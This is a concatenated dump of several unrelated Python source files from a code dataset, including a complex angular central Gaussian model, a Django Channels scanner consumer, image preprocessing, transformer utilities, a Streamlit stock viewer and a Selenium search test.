'When you set the eigenvalue_floor to zero it can '\n 'happen that the eigenvalues get zero and the '\n 'reciprocal eigenvalue that is used in '\n f'{cls.__name__}._log_pdf gets infinity.'\n )\n else:\n raise\n eigenvals = eigenvals.real\n if covariance_norm == 'eigenvalue':\n # The scale of the eigenvals does not matter.\n eigenvals = eigenvals / np.maximum(\n np.amax(eigenvals, axis=-1, keepdims=True),\n np.finfo(eigenvals.dtype).tiny,\n )\n eigenvals = np.maximum(\n eigenvals,\n eigenvalue_floor,\n )\n else:\n eigenvals = np.maximum(\n eigenvals,\n np.amax(eigenvals, axis=-1, keepdims=True) * eigenvalue_floor,\n )\n assert np.isfinite(eigenvals).all(), eigenvals\n\n return cls(\n covariance_eigenvalues=eigenvals,\n covariance_eigenvectors=eigenvecs,\n )\n\n def sample(self, size):\n return sample_complex_angular_central_gaussian(\n size=size,\n covariance=self.covariance,\n )\n\n @property\n def covariance(self):\n return np.einsum(\n '...wx,...x,...zx->...wz',\n self.covariance_eigenvectors,\n self.covariance_eigenvalues,\n self.covariance_eigenvectors.conj(),\n optimize='greedy',\n )\n\n @property\n def log_determinant(self):\n return np.sum(np.log(self.covariance_eigenvalues), axis=-1)\n\n def log_pdf(self, y):\n \"\"\"\n\n Args:\n y: Shape (..., N, D)\n\n Returns:\n\n \"\"\"\n y = normalize_observation(y) # swap D and N dim\n log_pdf, _ = self._log_pdf(y)\n return log_pdf\n\n def _log_pdf(self, y):\n \"\"\"Gets used by. e.g. the cACGMM.\n TODO: quadratic_form might be useful by itself\n\n Note: y shape is (..., D, N) and not (..., N, D) like in log_pdf\n\n Args:\n y: Normalized observations with shape (..., D, N).\n Returns: Affiliations with shape (..., K, N) and quadratic format\n with the same shape.\n\n \"\"\"\n *independent, D, T = y.shape\n\n assert is_broadcast_compatible(\n [*independent, D, D], self.covariance_eigenvectors.shape\n ), (y.shape, self.covariance_eigenvectors.shape)\n\n quadratic_form = np.maximum(\n np.abs(\n np.einsum(\n # '...dt,...kde,...ke,...kge,...gt->...kt',\n '...dt,...de,...e,...ge,...gt->...t',\n y.conj(),\n self.covariance_eigenvectors,\n 1 / self.covariance_eigenvalues,\n self.covariance_eigenvectors.conj(),\n y,\n optimize='optimal',\n )\n ),\n np.finfo(y.dtype).tiny,\n )\n log_pdf = -D * np.log(quadratic_form)\n log_pdf -= self.log_determinant[..., None]\n\n return log_pdf, quadratic_form\n\n\nclass ComplexAngularCentralGaussianTrainer:\n def fit(\n self,\n y,\n saliency=None,\n hermitize=True,\n covariance_norm='eigenvalue',\n eigenvalue_floor=1e-10,\n iterations=10,\n ):\n \"\"\"\n\n Args:\n y: Should be normalized to unit norm. We normalize it anyway again.\n Shape (..., D, N), e.g. (1, D, N) for mixture models\n saliency: Shape (..., N), e.g. (K, N) for mixture models\n hermitize:\n eigenvalue_floor:\n iterations:\n\n Returns:\n\n \"\"\"\n *independent, N, D = y.shape\n assert np.iscomplexobj(y), y.dtype\n assert y.shape[-1] > 1\n y = normalize_observation(y) # swap D and N dim\n\n if saliency is None:\n quadratic_form = np.ones(*independent, N)\n else:\n raise NotImplementedError\n\n assert iterations > 0, iterations\n for _ in range(iterations):\n model = self._fit(\n y=y,\n saliency=saliency,\n quadratic_form=quadratic_form,\n hermitize=hermitize,\n covariance_norm=covariance_norm,\n eigenvalue_floor=eigenvalue_floor,\n )\n _, quadratic_form = model._log_pdf(y)\n\n return model\n\n def _fit(\n self,\n y,\n saliency,\n quadratic_form,\n hermitize=True,\n covariance_norm='eigenvalue',\n eigenvalue_floor=1e-10,\n ) -> ComplexAngularCentralGaussian:\n \"\"\"Single step of the fit function. In general, needs iterations.\n\n Note: y shape is (..., D, N) and not (..., N, D) like in fit\n\n Args:\n y: Assumed to have unit length.\n Shape (..., D, N), e.g. (1, D, N) for mixture models\n saliency: Shape (..., N), e.g. (K, N) for mixture models\n quadratic_form: (..., N), e.g. (K, N) for mixture models\n hermitize:\n eigenvalue_floor:\n\n Returns:\n\n\n # ToDo: move this code to a testcase\n >>> D, N, K = 3, 4, 2\n >>> y = np.array([[1, 0, 0], [1, 0, 0], [0, 1, 0], [0, 1, 0]], dtype=np.complex128).T\n >>> quadratic_form = np.array([[1, 0], [1, 0], [1, 0], [1, 0]], dtype=np.float64).T\n >>> ComplexAngularCentralGaussianTrainer()._fit(y=y, saliency=None, quadratic_form=quadratic_form)\n ComplexAngularCentralGaussian(covariance_eigenvectors=array([[[0.+0.j, 0.+0.j, 1.+0.j],\n [0.+0.j, 1.+0.j, 0.+0.j],\n [1.+0.j, 0.+0.j, 0.+0.j]],\n \n [[0.+0.j, 0.+0.j, 1.+0.j],\n [0.+0.j, 1.+0.j, 0.+0.j],\n [1.+0.j, 0.+0.j, 0.+0.j]]]), covariance_eigenvalues=array([[1.e-10, 1.e+00, 1.e+00],\n [1.e-10, 1.e+00, 1.e+00]]))\n\n \"\"\"\n assert np.iscomplexobj(y), y.dtype\n\n assert is_broadcast_compatible(\n y.shape[:-2], quadratic_form.shape[:-1]\n ), (y.shape, quadratic_form.shape)\n\n D = y.shape[-2]\n *independent, N = quadratic_form.shape\n\n if saliency is None:\n saliency = 1\n denominator = np.array(N, dtype=np.float64)\n else:\n assert y.ndim == saliency.ndim + 1, (y.shape, saliency.ndim)\n denominator = np.einsum('...n->...', saliency)[..., None, None]\n\n # When the covariance matrix is zero, quadratic_form would also zero.\n # quadratic_form have to be positive\n quadratic_form = np.maximum(\n quadratic_form,\n # Use 2 * tiny, because tiny is to small\n 10 * np.finfo(quadratic_form.dtype).tiny,\n )\n\n covariance = D * np.einsum(\n '...dn,...Dn,...n->...dD',\n y,\n y.conj(),\n (saliency / quadratic_form),\n # optimize='greedy',\n # Without greedy the diagonal of the covariance matrix is real\n # valued, otherwise only approximately real values\n # (i.e., values of 1e-17 for the imag part)\n )\n assert np.isfinite(quadratic_form).all()\n covariance /= np.maximum(\n denominator,\n np.finfo(denominator.dtype).tiny,\n )\n assert covariance.shape == (*independent, D, D), (covariance.shape, (*independent, D, D))\n\n assert np.isfinite(covariance).all()\n\n if hermitize:\n covariance = force_hermitian(covariance)\n\n return ComplexAngularCentralGaussian.from_covariance(\n covariance,\n eigenvalue_floor=eigenvalue_floor,\n covariance_norm=covariance_norm,\n )\n","repo_name":"fgnt/pb_bss","sub_path":"pb_bss/distribution/complex_angular_central_gaussian.py","file_name":"complex_angular_central_gaussian.py","file_ext":"py","file_size_in_byte":10926,"program_lang":"python","lang":"en","doc_type":"code","stars":238,"dataset":"github-code","pt":"5"} +{"seq_id":"6805555857","text":"import datetime\nimport json\nimport logging\nimport os\nimport subprocess\nimport sys\n\nimport channels.db\nimport channels.generic.websocket\nimport channels.layers\nimport django.conf\nimport redis\n\nimport d1_schema_scan.app.models\nimport d1_schema_scan.app.util\nimport d1_schema_scan.app.workers\n\nlog = logging.getLogger(__name__)\n\n\nclass ClientLogConsumer(channels.generic.websocket.AsyncWebsocketConsumer):\n def __init__(self, *args, **kwargs):\n \"\"\"Each WebSocket connection gets a separate instance of this class, so\n information about the connected client can be stored in attributes.\n \"\"\"\n super(ClientLogConsumer, self).__init__(*args, **kwargs)\n self.redis = redis.Redis()\n self.scan_id = None\n self.scan_dict = None\n\n async def connect(self):\n \"\"\"Handle: Client is attempting to establish a WebSocket connection.\n\n Join group of clients watching a single scan. Since most scans will have only\n one client, the main functionality of this is to add a known name for this scan\n as an alias for the internally generated unique name for this consumer, so that\n messages can be sent to this consumer by other consumers, by sending to the\n group name. As a nice side effect, multiple clients can open the same group and\n watch the progress.\n \"\"\"\n self.scan_id = self.scope[\"url_route\"][\"kwargs\"][\"scan_id\"]\n self.scan_dict = await self._get_scan_dict()\n log.debug(\n f'Client connecting. scan_id=\"{self.scan_id}\" scan_url=\"{self.scan_dict[\"scan_url\"]}\" format_id=\"{self.scan_dict[\"format_id\"]}\"'\n )\n\n await self.channel_layer.group_add(self.scan_id, self.channel_name)\n\n # if not is_running(scan_id):\n await self.channel_layer.send(\n \"scan\",\n {\n \"type\": \"start.scan\",\n \"scan_id\": self.scan_id,\n \"scan_url\": self.scan_dict['scan_url'],\n \"format_id\": self.scan_dict['format_id'],\n \"log_path\": d1_schema_scan.app.util.get_abs_log_file_path(self.scan_id),\n },\n )\n\n # Accept the connection.\n await self.accept()\n\n async def disconnect(self, close_code):\n \"\"\"Handle: Client has disconnected the WebSocket connection.\"\"\"\n log.debug(f'Client disconnected. scan_id=\"{self.scan_id}\"')\n d1_schema_scan.app.workers.status.set_stop(self.scan_id)\n await self.channel_layer.group_discard(self.scan_id, self.channel_name)\n\n # noinspection PyMethodOverriding\n async def receive(self, text_data):\n \"\"\"Handle: Client has sent a message.\"\"\"\n msg_dict = json.loads(text_data)\n log.warning(f\"Client sent unhandled message: {msg_dict}\")\n\n async def client_add_log_lines(self, msg_dict):\n \"\"\"Handle: Consumer has sent new log lines to be forwarded to client\"\"\"\n log.debug(f\"Consumer sent new log lines. msg_dict={msg_dict}\")\n await self.send(\n text_data=json.dumps({\"log_line_list\": msg_dict[\"log_line_list\"]})\n )\n\n async def client_scan_completed(self, msg_dict):\n \"\"\"Handle: Consumer has sent notification to client that scan is completed\"\"\"\n log.debug(\"Consumer sent scan_completed\")\n log.debug(msg_dict[\"exit_code\"])\n d = {\n \"scan_completed\": True,\n \"scan_end\": d1_schema_scan.app.util.format_ts(\n d1_schema_scan.app.util.utc_now()\n ),\n \"exit_code\": d1_schema_scan.app.util.format_exit_code(\n msg_dict[\"exit_code\"]\n ),\n }\n log.debug(d)\n await self.send(text_data=json.dumps(d))\n\n @channels.db.database_sync_to_async\n def _get_scan_dict(self):\n \"\"\"Get the URL to scan for a given scan_id.\"\"\"\n try:\n scan_model = d1_schema_scan.app.models.Scan.objects.get(\n scan_id=self.scan_id\n )\n return {'scan_url': scan_model.scan_url, 'format_id': scan_model.format_id}\n except d1_schema_scan.app.models.Scan.DoesNotExist:\n log.warning(f\"Unknown scan_id: {self.scan_id}\")\n\n\nclass ScannerConsumer(channels.generic.websocket.AsyncWebsocketConsumer):\n def __init__(self, *args, **kwargs):\n super(ScannerConsumer, self).__init__(*args, **kwargs)\n self.redis = redis.Redis(host=\"localhost\", port=6379, db=0)\n self.popen_obj = None\n self.log_file = None\n self.scan_id = None\n self.scan_url = None\n self.format_id = None\n self.log_path = None\n self.max_log_lines = None\n\n async def start_scan(self, msg_dict):\n \"\"\"Handle: Consumer requests new scan.\"\"\"\n log.debug(f\"New scan requested: {msg_dict}\")\n self.scan_id = msg_dict[\"scan_id\"]\n self.scan_url = msg_dict[\"scan_url\"]\n self.format_id = msg_dict[\"format_id\"]\n self.log_path = msg_dict[\"log_path\"]\n self.max_log_lines = int(django.conf.settings.MAX_LOG_LINES)\n\n d1_schema_scan.app.workers.status.set_running(self.scan_id)\n\n self.log_file = open(self.log_path, \"w\")\n\n log.debug(\"Running scan\")\n\n try:\n await self._run_scan()\n except Exception:\n log.exception(__file__)\n finally:\n self.log_file.close()\n self.popen_obj.communicate()\n self.popen_obj.kill()\n exit_code = self.popen_obj.wait()\n\n await self._set_completed(exit_code)\n\n d1_schema_scan.app.workers.status.set_stop(self.scan_id)\n d1_schema_scan.app.workers.status.set_completed(self.scan_id)\n\n await self._send_scan_completed(exit_code)\n\n log.debug(f'Scan exit. scan_id=\"{self.scan_id}\"')\n\n async def _run_scan(self):\n arg_list = [django.conf.settings.PY_BIN_PATH, \"-u\"] # unbuffered\n if self.format_id:\n arg_list.extend(\n [\n django.conf.settings.D1_VALIDATE_SCHEMA_PATH,\n # \"--format-id\",\n self.format_id,\n self.scan_url,\n ]\n )\n else:\n arg_list.extend([django.conf.settings.D1_CHECK_SITE_PATH, self.scan_url])\n\n log.info('Launching scanner subprocess: {}'.format(', '.join(arg_list)))\n\n self.popen_obj = subprocess.Popen(\n arg_list, bufsize=0, stdout=subprocess.PIPE, stderr=subprocess.STDOUT\n )\n\n for i in range(self.max_log_lines):\n if d1_schema_scan.app.workers.status.is_stop_requested(self.scan_id):\n await self._add_log(\"Stopped by user.\")\n return 0\n\n exit_code = self.popen_obj.poll()\n if exit_code is not None:\n await self._add_log(f\"Worker completed with exit code: {exit_code}\")\n return exit_code\n\n # line = \"{}\".format(i)\n line = self.popen_obj.stdout.readline().decode(\"utf-8\").rstrip()\n if line is None:\n await self._add_log(\"Received EOF from worker\")\n return 32\n\n await self._add_log(line)\n\n await self._add_log(f\"Log reached {self.max_log_lines} line limit.\")\n await self._add_log(\"Please restart with smaller scan.\")\n\n return 32 + 1\n\n async def _add_log(self, log_line_str_or_list):\n \"\"\"Add a log line str or list of log lines.\n\n If a str, log_line can be a single or multiple lines.\n \"\"\"\n if isinstance(log_line_str_or_list, str):\n log_line_list = log_line_str_or_list.splitlines(keepends=False)\n else:\n log_line_list = log_line_str_or_list\n\n for log_line_str in log_line_list:\n await self._send_log_line(log_line_str)\n\n async def _send_log_line(self, log_line_str):\n log.debug(f\"Sending log line to all clients in group: {log_line_str}\")\n self.log_file.write(log_line_str + \"\\n\")\n await self.channel_layer.group_send(\n self.scan_id,\n {\"type\": \"client.add.log.lines\", \"log_line_list\": [log_line_str]},\n )\n\n async def _send_scan_completed(self, exit_code):\n log.debug(\n f'Sending scan_completed to all clients in group. exit_code=\"{exit_code}\"'\n )\n await self.channel_layer.group_send(\n self.scan_id, {\"type\": \"client.scan_completed\", \"exit_code\": str(exit_code)}\n )\n\n @channels.db.database_sync_to_async\n def _set_completed(self, exit_code):\n \"\"\"Record scan as completed in DB.\"\"\"\n try:\n scan_model = d1_schema_scan.app.models.Scan.objects.get(\n scan_id=self.scan_id\n )\n except d1_schema_scan.app.models.Scan.DoesNotExist:\n log.warning(f\"Unknown scan_id: {self.scan_id}\")\n else:\n scan_model.end_timestamp = datetime.datetime.now(datetime.timezone.utc)\n scan_model.exit_code = exit_code\n scan_model.save()\n\n\n# class ScannerConsumer(channels.generic.websocket.AsyncWebsocketConsumer):\n# def __init__(self, *args, **kwargs):\n# super(ScannerConsumer, self).__init__(*args, **kwargs)\n# self.redis = redis.Redis(host=\"localhost\", port=6379, db=0)\n# self.log_file = None\n# self.scan_id = None\n# self.scan_url = None\n# self.log_path = None\n# self.max_log_lines = None\n#\n# async def start_scan(self, msg_dict):\n# \"\"\"Handle: Consumer requests new scan.\"\"\"\n# log.debug(f\"New scan requested: {msg_dict}\")\n#\n# self.scan_id = msg_dict[\"scan_id\"]\n# self.scan_url = msg_dict[\"scan_url\"]\n# self.log_path = msg_dict[\"log_path\"]\n# self.max_log_lines = int(django.conf.settings.MAX_LOG_LINES)\n#\n# d1_schema_scan.app.workers.status.set_running(self.scan_id)\n# exit_code = 1\n# self.log_file = open(self.log_path, \"w\")\n#\n# log.debug(\"Running scan\")\n#\n# try:\n# exit_code = await self._run_scan()\n# except Exception:\n# log.exception(__file__)\n# finally:\n# self.log_file.close()\n#\n# await self._set_completed(exit_code)\n#\n# d1_schema_scan.app.workers.status.set_complete(self.scan_id)\n#\n# log.debug(f'Scan exit. scan_id=\"{self.scan_id}\"')\n#\n# async def _run_scan(self):\n# i = 0\n#\n# while True:\n# i += 1\n# if i == self.max_log_lines:\n# await self._add_log(f\"Reached {self.max_log_lines} log line limit.\")\n# await self._add_log(\"Please restart with smaller scan.\")\n# return 2\n#\n# if self.redis.get(\"stop-\" + self.scan_id) is not None:\n# await self._add_log(\"Stopped by user.\")\n# return 3\n#\n# # if i == 100:\n# # await self._add_log(\"Exit OK\")\n# # break\n#\n# # line = \"{}\".format(i)\n# line = (\n# f\"{i} {os.getpid()} {self.scan_url} {datetime.datetime.utcnow()} \"\n# + \"x\" * random.randint(0, 50)\n# )\n# await self._add_log(line)\n#\n# time.sleep(0.1)\n#\n# async def _add_log(self, log_line_str_or_list):\n# \"\"\"Add a log line str or list of log lines.\n#\n# If a str, log_line can be a single or multiple lines.\n# \"\"\"\n# if isinstance(log_line_str_or_list, str):\n# log_line_list = log_line_str_or_list.splitlines(keepends=False)\n# else:\n# log_line_list = log_line_str_or_list\n#\n# for log_line_str in log_line_list:\n# await self._send_log_line(log_line_str)\n#\n# async def _send_log_line(self, log_line_str):\n# log.debug(f\"Sending log line to client: {log_line_str}\")\n# self.log_file.write(log_line_str + \"\\n\")\n# await self.channel_layer.group_send(\n# self.scan_id,\n# {\"type\": \"client.add.log.lines\", \"log_line_list\": [log_line_str]},\n# )\n#\n# @channels.db.database_sync_to_async\n# def _set_completed(self, exit_code):\n# \"\"\"Record scan as completed in DB.\"\"\"\n# try:\n# scan_model = d1_schema_scan.app.models.Scan.objects.get(\n# scan_id=self.scan_id\n# )\n# except d1_schema_scan.app.models.Scan.DoesNotExist:\n# log.warning(f\"Unknown scan_id: {self.scan_id}\")\n# else:\n# scan_model.end_timestamp = datetime.datetime.now(datetime.timezone.utc)\n# scan_model.exit_code = exit_code\n# scan_model.save()\n","repo_name":"DataONEorg/SlenderNodes","sub_path":"schema_org_web_scanner/src/d1_schema_scan/app/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":12583,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"22766630598","text":"import os\nimport numpy as np\nimport scipy.misc\nfrom skimage import io\nfrom skimage.filters import threshold_otsu\n\n\nimgDirectory = os.path.join(os.getcwd(), 'ground-truth/word-images')\nsaveDirectory = os.path.join(os.getcwd(), 'ground-truth/word-images_preprocessed')\n\nfor filename in os.listdir(imgDirectory):\n if filename.endswith(\".png\"):\n currentImg = os.path.join(imgDirectory,filename)\n saveImg = os.path.join(saveDirectory,filename)\n \n #Elimination of greyscale\n wordPicture = io.imread(currentImg, as_grey=1)\n\n #Automatic clustering and binarization\n thresh_otsu = threshold_otsu(wordPicture)\n binary_otsu = wordPicture > thresh_otsu\n print(binary_otsu)\n print('\\nshape: ', binary_otsu.shape)\n\n #delete white lines on borders\n for _ in range(2):\n #first iteration: delete white lines from top and bottom\n #second iteration: delete white lines from left and right (with help of the transpose)\n \n #delete white lines from top(1.Iteration) & left(2.Iteration)\n numberOfDeletions = 0\n for pxRow in binary_otsu:\n if False in pxRow:\n break\n else:\n numberOfDeletions += 1\n binary_otsu = binary_otsu[numberOfDeletions:]\n\n #delete white lines from bottom & right\n numberOfDeletions = 0\n for pxRow in reversed(binary_otsu):\n if False in pxRow:\n break\n else:\n numberOfDeletions += 1\n binary_otsu = binary_otsu[:len(binary_otsu)-numberOfDeletions]\n \n binary_otsu = np.transpose(binary_otsu)\n\n print('After deletion: \\n', binary_otsu)\n print('\\nshape: ', binary_otsu.shape)\n scipy.misc.imsave(saveImg, binary_otsu)\n ","repo_name":"cwlkr/Uniprojekte","sub_path":"Pattern Recognition/Project2/preprocess_word_images.py","file_name":"preprocess_word_images.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16895355898","text":"import os\nimport torch\nimport matplotlib.pyplot as plt\nimport pickle\nfrom matplotlib import rcParams\nfrom textwrap import wrap\n\n\ndef set_up_causal_mask(seq_len, device):\n \"\"\"Defines the triangular mask used in transformers.\n\n This mask prevents decoder from attending the tokens after the current one.\n\n Arguments:\n seq_len (int): Maximum length of input sequence\n device: Device on which to map the created tensor mask\n Returns:\n mask (torch.Tensor): Created triangular mask\n \"\"\"\n mask = (torch.triu(torch.ones(seq_len, seq_len)) == 1).transpose(0, 1)\n mask = mask.float().masked_fill(mask == 0, float('-inf')).masked_fill(mask == 1, float(0.0)).to(device)\n mask.requires_grad = False\n return mask\n\n\ndef log_gradient_norm(model, writer, step, mode, norm_type=2):\n \"\"\"Writes model param's gradients norm to tensorboard\"\"\"\n total_norm = 0\n for p in model.parameters():\n if p.requires_grad:\n param_norm = p.grad.data.norm(norm_type)\n total_norm += param_norm.item() ** 2\n total_norm = total_norm ** (1. / 2)\n writer.add_scalar(f\"Gradient/{mode}\", total_norm, step)\n\n\ndef save_checkpoint(model, optimizer, start_time, epoch):\n \"\"\"Saves specified model checkpoint.\"\"\"\n target_dir = os.path.join(\"checkpoints\", str(start_time))\n os.makedirs(target_dir, exist_ok=True)\n # Save model weights\n save_path_model = os.path.join(target_dir, f\"model_{epoch}.pth\")\n save_path_optimizer = os.path.join(target_dir, f\"optimizer_{epoch}.pth\")\n torch.save(model.state_dict(), save_path_model)\n torch.save(optimizer.state_dict(), save_path_optimizer)\n print(\"Model saved.\")\n\ndef plot_loss(train_loss, validation_loss, test_loss, loss_path):\n fig = plt.figure(figsize=(10, 6), dpi=100, frameon=True)\n plt.rc('text', usetex=True)\n plt.rc('font', family='serif')\n ax = plt.subplot(111)\n ax.set_xlabel(\"epoch\", fontsize=50)\n ax.set_ylabel(\"loss\", fontsize=50)\n ax.plot(train_loss, linewidth = 5, label=\"training loss\")\n ax.plot(validation_loss, linewidth = 5, label=\"validation loss\")\n ax.plot(test_loss, linewidth = 5, label=\"testing loss\")\n ax.tick_params(axis='both', which='major', labelsize=40)\n ax.grid()\n ax.legend(fontsize = 40)\n plt.tight_layout()\n plt.savefig(loss_path, dpi=100)\n plt.close(fig)\n\ndef plot_bleu_scores(bleu_dict, loss_path):\n fig = plt.figure(figsize=(10, 6), dpi=100, frameon=True)\n plt.rc('text', usetex=True)\n plt.rc('font', family='serif')\n ax = plt.subplot(111)\n ax.set_xlabel(\"epoch\", fontsize=50)\n ax.set_ylabel(\"bleu scores\", fontsize=50)\n ax.plot(bleu_dict[\"bleu-1\"], linewidth = 5, label=\"bleu-1\")\n ax.plot(bleu_dict[\"bleu-2\"], linewidth = 5, label=\"bleu-2\")\n ax.plot(bleu_dict[\"bleu-3\"], linewidth = 5, label=\"bleu-3\")\n ax.plot(bleu_dict[\"bleu-4\"], linewidth = 5, label=\"bleu-4\")\n ax.tick_params(axis='both', which='major', labelsize=40)\n ax.grid()\n ax.legend(fontsize = 40)\n plt.tight_layout()\n plt.savefig(loss_path, dpi=100)\n plt.close(fig)\n\ndef save_dict(dict_obj, fullname):\n with open(fullname, 'wb') as handle:\n pickle.dump(dict_obj, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\ndef load_dict(fullname):\n with open(fullname, 'rb') as handle:\n loaded_obj = pickle.load(handle)\n return loaded_obj\n\n\ndef format_time(seconds):\n days = int(seconds / 3600/24)\n seconds = seconds - days*3600*24\n hours = int(seconds / 3600)\n seconds = seconds - hours*3600\n minutes = int(seconds / 60)\n seconds = seconds - minutes*60\n secondsf = int(seconds)\n seconds = seconds - secondsf\n millis = int(seconds*1000)\n\n f = ''\n i = 1\n if days > 0:\n f += str(days) + 'D'\n i += 1\n if hours > 0 and i <= 2:\n f += str(hours) + 'h'\n i += 1\n if minutes > 0 and i <= 2:\n f += str(minutes) + 'm'\n i += 1\n if secondsf > 0 and i <= 2:\n f += str(secondsf) + 's'\n i += 1\n if millis > 0 and i <= 2:\n f += str(millis) + 'ms'\n i += 1\n if f == '':\n f = '0ms'\n return f\n\n","repo_name":"shiqingw/image-captioning-codebase","sub_path":"transformer/utils_local/other_utils.py","file_name":"other_utils.py","file_ext":"py","file_size_in_byte":4113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"14734217877","text":"# How many different sets did LEGO sell in their first year? How many types of LEGO products were on offer in the year the company started?\ndf_sets.sort_values('year', ascending=True).head()\ndf_sets[df_sets['year'] == 1949]\n\n# Find the top 5 LEGO sets with the most number of parts.\ndf_sets.sort_values('num_parts', ascending=False).head()\n\n# Matplotlib : to exlude the 2 last year from the chart : \nplt.plot(sets_by_year.index[:-2], sets_by_year.set_num[:-2])\n\n# Count the number of unique theme_ids per calendar year.\nthemes_by_year = df_sets.groupby('year').agg({'theme_id': pd.Series.nunique})\n\n# Rename the column\nthemes_by_year.rename(columns={'theme_id': 'nb_themes'}, inplace=True)\n\n# Configure and plot our data on two separate axes on the same chart.\nax1 = plt.gca() # get current axes\nax2 = ax1.twinx() # create another axis that share the same x-axis\n\nax1.plot(sets_by_year.index[:-2], sets_by_year.set_num[:-2], color='g')\nax2.plot(themes_by_year.index[:-2], themes_by_year.nb_themes[:-2], 'b')\n\n# Styling chart\nax1.set_xlabel('Year')\nax1.set_ylabel('Number of sets', color='green')\nax2.set_ylabel('Number of themes', color='blue')\n","repo_name":"PaulineHub/python-bootcamp-udemy","sub_path":"73-lego/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"33017112230","text":"import unittest\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.common.exceptions import TimeoutException\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.chrome.service import Service\r\n\r\ns=Service('C:/Users/admin/PycharmProjects/pythonProject/chromedriver.exe')\r\n\r\n\r\nclass Search(unittest.TestCase):\r\n def setUp(self):\r\n self.driver = webdriver.Chrome(service=s)\r\n # 1.Открыть страницу http://google.com/ncr\r\n self.driver.get(\"http://google.com/ncr\")\r\n def test_search(self):\r\n self.driver.maximize_window()\r\n assert \"Google\" in self.driver.title\r\n elem = self.driver.find_element(By.NAME,\"q\")\r\n elem.clear()\r\n\r\n # 2.Выполнить поиск слова “selenide”\r\n elem.send_keys(\"selenide\")\r\n elem.send_keys(Keys.ENTER)\r\n\r\n # 3.Проверить, что первый результат – ссылка на сайт selenide.org.\r\n elem = self.driver.find_element(By.XPATH,\"//*[@id='rso']/div[1]/div/div/div/div/div/div[1]/a/div/cite\")\r\n if \"selenide.org\" in elem.text:\r\n print(\"Первая ссылка соответствует поисковому запросу\")\r\n\r\n # 4.Перейти в раздел поиска изображений\r\n elem=self.driver.find_element(By.LINK_TEXT, 'Images')\r\n elem.click();\r\n\r\n # 5.Проверить, что первое изображение неким образом связано с сайтом selenide.org.\r\n elem=self.driver.find_element(By.XPATH,\"//*[@id='islrg']/div[1]/div[1]/a[1]/div[1]/img\")\r\n elem.click();\r\n try:\r\n WebDriverWait(self.driver, 5).until(\r\n EC.presence_of_element_located((By.XPATH, '//*[text() = \"selenide.org\"]')))\r\n except TimeoutException:\r\n raise Exception('Unable to find text in this element after waiting 5 seconds')\r\n\r\n # 6.Вернуться в раздел поиска Все\r\n elem = self.driver.find_element(By.TAG_NAME,'body').send_keys(Keys.HOME)\r\n elem = self.driver.find_element(By.LINK_TEXT, 'Все')\r\n elem.click();\r\n\r\n # 7.Проверить, что первый результат такой же, как и на шаге 3.\r\n elem = self.driver.find_element(By.XPATH,\"//*[@id='rso']/div[1]/div/div/div/div/div/div[1]/a/div/cite\")\r\n if \"selenide.org\" in elem.text:\r\n print(\"первый результат такой же, как и на шаге 3 - это ссылка на selenide.org\")\r\n self.driver.close()\r\n\r\nif __name__ == '__main__':\r\n unittest.main()","repo_name":"ZolotovSergey/git-repo","sub_path":"итоговое задание.py","file_name":"итоговое задание.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"39648739635","text":"from config import types, Dispatcher\nfrom dtbase import *\nfrom keyboards import *\n\n\nasync def start(message: types.Message):\n await message.answer(text=\"Для того чтобы начать воспользуйтесь кнопками\", reply_markup=Start_Markup)\n await Enter_User_Id(message.from_user.id)\n\n\nasync def get_user_info(message: types.Message):\n stats = await Get_User_Stats(message.from_user.id)\n Percentage = await Get_User_Percentage(message.from_user.id)\n if(stats[0]==None):\n QuizCompleted=0\n else:\n QuizCompleted = stats[0]\n if(stats[1]==None):\n AmountOfAnsw=0\n else:\n AmountOfAnsw=stats[1]\n if(stats[3]==None):\n QuizCreated=0\n else:\n QuizCreated = stats[3]\n answer = f\"{message.from_user.first_name}\\nВикторин пройдено: {QuizCompleted}\\n\"\\\n f\"Процент правильных ответов: {Percentage}\\nВсего ответов: {AmountOfAnsw}\\nВикторин создано: {QuizCreated}\"\n await message.answer(text=answer)\n\n\ndef reg_commands_handlers(dp: Dispatcher):\n dp.register_message_handler(start, commands=\"start\", state=\"*\")\n dp.register_message_handler(get_user_info, commands=\"stats\", state=\"*\")","repo_name":"Tyulenb/QuizBot","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32164263866","text":"import yfinance as yf\r\nimport streamlit as st\r\n\r\nst.write(\"\"\" # Search Stock Price & Chart! \"\"\")\r\n# https://towardsdatascience.com/how-to-get-stock-data-using-python-c0de1df17e75\r\n# define the ticker symbol\r\nuser_input = st.text_input(\"Enter Stock Symbol\")\r\n# get data on this ticker\r\ntickerData = yf.Ticker(user_input)\r\n# get the historical prices for this ticker\r\ntickerDf = tickerData.history(period='1d', start='2010-5-31', end='2021-3-31')\r\n# Open\tHigh\tLow\tClose\tVolume\tDividends\tStock Splits\r\nst.write(\"\"\" ## Closing Price \"\"\")\r\nst.line_chart(tickerDf.Close)\r\nst.write(\"\"\" ## Volume \"\"\")\r\nst.line_chart(tickerDf.Volume)\r\n# show actions (dividends, splits)\r\nst.write(\"\"\"### Enter Stock Symbol to get info \"\"\")\r\ntickerData.info\r\n","repo_name":"shubhamtechgeek/Search-Stock-Price-Chart","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"41113953051","text":"from base.method import *\nimport unittest\nfrom page.openS import *\nfrom utils.excel_data import excel_data as e\nfrom log import logger\nclass 